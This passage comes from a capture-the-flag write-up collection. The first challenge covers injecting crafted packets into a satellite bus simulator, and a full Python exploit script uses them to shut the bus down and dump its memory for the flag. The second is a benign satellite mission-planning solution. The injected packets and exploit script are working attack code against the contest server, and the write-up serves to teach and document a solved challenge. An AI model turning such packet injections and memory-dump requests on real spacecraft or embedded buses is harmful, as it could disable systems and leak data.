      r.recvuntil('^')
      raw = r.recvuntil('.')
      rawn = bytes([94]) + raw
      print(rawn)
      v = raw.decode().split('+')
      del v[-1]
      h = bytes([int(i, 16) for i in v])
      if h == b';\x00\x00?':
          print("ONCE CALL")
      elif h == b';\x00\x00>':
          print("END CALL")
      elif h.startswith(b':\x00\x00?'):
          print(f"ONCE: {h[4:]}")
      elif h.startswith(b':\x00\x00>'):
          # notable delay between start and end each time
          if start:
              print(f"START: {h[4:]}")
              start = False
          else:
              print("INJECTING")
              r.send(inj)
              print(f"END: {h[4:]}")
              start = True
      elif h.startswith(b'\xca'):
          print(f"JUICE: {h}")
      else:
          print(f"???: {h}")
      
      sys.stdout.flush()

I then noticed that post-text the string \x00R\x01\x1e{\x81G\x00\xc9\x9d\xe3\xe7\xc2#6 had the characters { and 6 at the same point as flag{oscar39616kilo, which would correspond to a flag. I graphed this and tried to find a function (or multiple) modeling a relation here, but with R2 being something like 0.39 for every relation I tried, this was extremely unlikely.

We then tried reading the data sequentially from the buffer, from Juicy Data 00 to 04. Here's the entire string:

  00000000: 4a75 6963 7920 4461 7461 2030 3000 c8f7  Juicy Data 00...
  00000010: eb15 963d 6b70 5cc9 2c5e d5cf 5c31 9919  ...=kp\.,^..\1..
  00000020: 779a c6a9 0865 8d55 926a 372c 00ff 23eb  w....e.U.j7,..#.
  00000030: 14b9 297f 2985 4856 e31d 2558 58be 59c6  ..).).HV..%XX.Y.
  00000040: 4a75 6963 7920 4461 7461 2030 3100 5201  Juicy Data 01.R.
  00000050: 1e7b 8147 00c9 9de3 e7c2 2336 817c fcd9  .{.G......#6.|..
  00000060: 9b6b 3a1f 68f0 35ce dd77 35ca dc87 ccfa  .k:.h.5..w5.....
  00000070: 024d 4102 16df e5fd a108 3322 842f fc1f  .MA.......3"./..
  00000080: 4a75 6963 7920 4461 7461 2030 3200 c08f  Juicy Data 02...
  00000090: e702 91fd e177 fb82 7f2e a504 5ea1 23f9  .....w......^.#.
  000000a0: d762 fcfd d5cd 00c0 d4ce 8661 6847 f14f  .b.........ahG.O
  000000b0: 4982 4d2a f948 ac79 7651 7dd4 f2a0 cdc9  I.M*.H.yvQ}.....
  000000c0: 4a75 6963 7920 4461 7461 2030 3300 4dae  Juicy Data 03.M.
  000000d0: 409a d839 e285 b259 d62f 2dc9 d0fb 92d2  @..9...Y./-.....
  000000e0: c459 aa5b 2042 c6b5 6193 b3c6 5001 7590  .Y.[ B..a...P.u.
  000000f0: 9b4d ca7e d27c d7a9 ac04 727c ff04 4ec4  .M.~.|....r|..N.
  00000100: 4a75 6963 7920 4461 7461 2030 3400 5a83  Juicy Data 04.Z.
  00000110: 2524 01f8 a0d8 a14c dc13 c8dc 1717 a075  %$.....L.......u
  00000120: 10bf f24b a525 e81e 0c4b e8f3            ...K.%...K..

Unfortunately, nothing meaningful was derived from this. There are a { and } with bytes between them, but they aren't flag length.

I noticed that injecting instructions performed something, but I didn't think it did anything notable. I injected various data at various points, but I never managed to break out at the previous region of memory… which is where gashapwn's incredible work came in.

If the packet ^3b+00+00+00. is sent, the bus stops sending data, which is decidedly confirmation that the server accepts data. Each of the following injects has the same effect:

  ^3b+00+00+30+.
  ^3b+00+00+31+.
  ^3b+00+00+32+.
  ^3b+00+00+33+.
  ^3b+00+00+34+.
  ^3b+00+00+34+.
  ^3b+00+00+35+.
  ^3b+00+00+36+.
  ^3b+00+00+37+.

In practice, only this last packet is needed to shut down the server. Anything of the form of ^3b+00+00+XX+. where XX<38 shuts it down, but only 37 enables dump mode. This can probably be done with a fuzzer. Why has God abandoned us? What accursed malfunction did we do to deserve this fate?

If you send the packet ^ca+00+44+79+20+44+61+74+61+20+30+31+00+52+01+1e+7b+81+47+00+.....+87+cc+., the same packet is sent back. This means that the juice packets deliminated with \xca are actually instructions.

By playing with the packet, the format appears to go: - Byte 0: CA - Byte 1-2: Memory offset - Byte 3-end: Size of memory to return

…so if we ask for a really large chunk of data, we can get a dump. With the inject:

  b"^3b+00+00+37+."
  b"^ca+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+....+00+00+."

we can query for everything in memory. And we did.

Full code

  #!/usr/bin/env python3
  import time
  import sys

  from pwnlib import tubes

  TICKET = 'THE_TICKET'
  r = tubes.remote.remote('bus.satellitesabove.me', 5041)
  r.send(TICKET+'\n')
  time.sleep(0.5)
  r.recvuntil('Ticket please:\n', drop=True)

  def to_hex(b):
      return ':'.join(hex(x)[2:] for x in b)

  def decode_pkt(b):
      if len(b) == 0:
          return
      if b[0] == 0xCA:
          pass # raw data?
      elif b[0] == ord(':'):
          if b[3] == ord('>') or b[3] == ord('?'): # > or ?
              field1 = to_hex(b[7:13])  # 6 bytes
              field1end = chr(b[13])    #
              field2 = to_hex(b[15:22]) # 7 bytes
              if b[22] != ord('@'):
                  print('b[22] should be @ but is {}'.format(chr(b[22])))
              field3 = to_hex(b[23:25])
              field3end = chr(b[25])
              c1 = b[26]
              field4 = to_hex(b[27:30])
              if b[30] != ord('?'):
                  print('b[30] is not ?')
              print(': 00:00:00 > {} {} {} @ {} {} {} ?'.format(field1, field1end, field2,
                    field3, field3end, field4))
      elif b[0] == ord(';'):
          print('delimiter') # end of previous packet?
      else:
          print(b[0])
          print('unknown data')
      print('\n')

  start = True
  inj = b"^3b+00+00+37+."
  inj2 = b"^ca+" + (b"00+" * 512) + b"."

  dont = False
  inj2_b = False

  print("Injection: " + inj.decode("utf-8"))

  while True:
      r.recvuntil('^')
      raw = r.recvuntil('.')
      rawn = bytes([94]) + raw
      print(rawn)
      v = raw.decode().split('+')
      del v[-1]
      h = bytes([int(i, 16) for i in v])
      if h == b';\x00\x00?':
          print("ONCE CALL")
      elif h == b';\x00\x00>':
          print("END CALL")
      elif h.startswith(b':\x00\x00?'):
          print(f"ONCE: {h[4:].hex()}")
      elif h.startswith(b'\x3b\x00\x00\x37'):
          print("SHUT DOWN SUCCESSFUL")
          dont = True
          inj2_b = True
          print("INJECTING AGAIN")
          r.send(inj2)
      elif h.startswith(b':\x00\x00>'):
          # notable delay between start and end each time
          if start:
              print(f"START: {h[4:].hex()}")
              start = False
          elif inj2_b == False:
              print("INJECTING")
              r.send(inj)
              print(f"END: {h[4:].hex()}")
              start = True
          else:
              print("INJECTING AGAIN")
              r.send(inj2)
              print(f"END: {h[4:].hex()}")
              start = True
      elif h.startswith(b'\xca'):
          print(f"JUICE: {h}")
      else:
          dont = True
          print(f"???: {h.hex()}")

      if not dont:
          decode_pkt(h)
      dont = False
      sys.stdout.flush()

Run it:

   λ has-writeup/satellite-bus/magic-bus python magic-bus.py

  ....

  JUICE: b'.....v\xaf\xe88\x856Mflag{oscar39616kilo:GCxmhORYa65Y0PmRtFmlFSBmnvImEiWg.....'

Hey look, a flag!

I hate this problem so much. At the time of me writing this, it's 1:30 AM and I'm sitting in my kitchen on my Lenovo(tm) ThinkPad(tm) T440(tm). I genuinely don't know how this got so many solves. I hate this. Goodnight.

Resources and other writeups

  • God I wish there was any

≠wpage

Good Plan? Great Plan!

Category: Space and Things Points (final): 77 Solves: 54

Help the Launchdotcom team perform a mission on their satellite to take a picture of a specific location on the ground. No hacking here, just good old fashion mission planning!

The current time is April 22, 2020 at midnight (2020-04-22T00:00:00Z). We need to obtain images of the Iranian space port (35.234722 N 53.920833 E) with our satellite within the next 48 hours. You must design a mission plan that obtains the images and downloads them within the time frame without causing any system failures on the spacecraft, or putting it at risk of continuing operations. The spacecraft in question is USA 224 in the NORAD database with the following TLE:

  1 37348U 11002A   20053.50800700  .00010600  00000-0  95354-4 0    09
  2 37348  97.9000 166.7120 0540467 271.5258 235.8003 14.76330431    04

You need to obtain 120 MB of image data of the target location and downlink it to our ground station in Fairbanks, AK (64.977488 N 147.510697 W). Your mission will begin at 2020-04-22T00:00:00Z and last 48 hours. You are submitting a mission plan to a simulator that will ensure the mission plan will not put the spacecraft at risk, and will accomplish the desired objectives.

Write-up

by arcetera)">hazel (arcetera)

In the time range [2020-04-22 00:00:00, 2020-04-23 23:59:00], the USA 224 satellite as given in the TLE above reaches the Iranian space port twice: - Around 09:28 on 2020-04-22 - Around 09:50 on 2020-04-23 This was found in GPredict after loading in the TLE given in the netcat.

Additionally, the USA 224 reaches the ground station in Alaska twice: - Around 10:47 on 2020-04-22 - Around 11:10 on 2020-04-23

The rest of the strategy is pretty much just to use trial and error: - Image for as long as possible until the battery runs dry or we're out of range - Downlink for as long as possible until the battery runs dry or we're out of range - Desaturate the wheels about an hour before they exceed maximum velocity

Full plan

  2020-04-22T00:00:00Z sun_point
  2020-04-22T09:28:00Z imaging
  2020-04-22T09:35:00Z sun_point
  2020-04-22T10:47:00Z data_downlink
  2020-04-22T10:50:00Z wheel_desaturate
  2020-04-22T11:30:00Z sun_point
  2020-04-23T08:50:00Z wheel_desaturate
  2020-04-23T09:30:00Z sun_point
  2020-04-23T09:50:00Z imaging
  2020-04-23T09:56:00Z sun_point
  2020-04-23T11:10:00Z data_downlink
  2020-04-23T11:14:00Z sun_point
  2020-04-23T22:00:00Z wheel_desaturate